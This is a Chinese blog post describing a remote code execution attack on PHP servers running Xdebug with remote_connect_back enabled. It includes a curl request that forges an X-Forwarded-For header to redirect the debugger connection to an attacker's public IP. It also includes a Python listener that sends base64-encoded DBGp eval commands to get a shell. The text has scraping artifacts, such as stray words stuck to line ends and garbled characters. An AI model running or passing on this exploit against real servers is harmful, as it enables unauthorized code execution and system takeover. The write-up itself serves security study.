xdebug插件攻击

title: xdebug插件攻击
date: 2017-09-30 17:08:38
tags:
前一阵忽然看到一个有关于xdebug的一个攻击面,不得不说这个想法仍是颇有意思的.本身搭环境记录一下.php

关于Xdebug的攻击

刚学php的时候用的phpstorm,当时为了动态调试,配置Xdebug配了好久,当时对这个有一个比较模糊的认识,当时以为是在浏览器还有ide还有server之间是有某些数据交互的,第一次配的的时候当时ide一直监听收不到数据,当时想要是本身能够操做数据来测试哪里出问题就行了,一直耿耿于怀,前一阵忽然看到一个有关于xdebug的一个攻击面,不得不说这个想法仍是颇有意思的.python

Xdebug调试的工做流程

1.ide开始调试监听本地9000端口shell

2.浏览器发送一个带有XDEBUG_SESSION_START的请求发给服务端浏览器

3.服务端收到这个参数,就会通知xdebugcurl

4.xdebug收到通知了就会向来源的地址的9000端口发送一个请求phpstorm

5.ide收到请求并响应创建链接socket

以后就是相互通信而后调试代码了tcp

首先Xdebug有关于远程调试是使用的DBGp协议ide

下面是有关于通信流程的一个演示函数

利用条件

通常来讲关于xdebug.remote_host这个配置默认是localhost也就是默认通信的的都是localhost,这明显不利于咱们的利用

可是若是xdebug.remote_connect_back这个配置启用的话xdebug.remote_host就会被忽略,并经过$ _SERVER ['HTTP_X_FORWARDED_FOR']和$ _SERVER ['REMOTE_ADDR']变量来获取ip

还有一个就是要开启xdebug.remote_enable,这个开关控制Xdebug是否应尝试联系正在监听主机和端口的调试客户端

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

也就是这两个是必要条件

利用方式

DBGp 的文档有一些敏感的操做

1.读文件

source -i transaction_id -f fileURI

2.eval

eval -i transaction_id - {DATA}

只须要构造请求的参数,XDEBUG_SESSION_START=xxx

还须要构造XFF头

而后检测服务端是否对XFF的地址的9000端口进行请求,就能够判断是否能够利用,

curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: localhost"

利用的exp这里之间粘贴原文章的,就是创建一个tcp的链接监听9000端口而后安装协议发送数据就能够了

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

利用方式就是先运行exp监听9000端口

获取链接curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: 你的公网ip地址"

而后exp接收到链接就能够调用system函数弹shell了.

相关文章
相关标签/搜索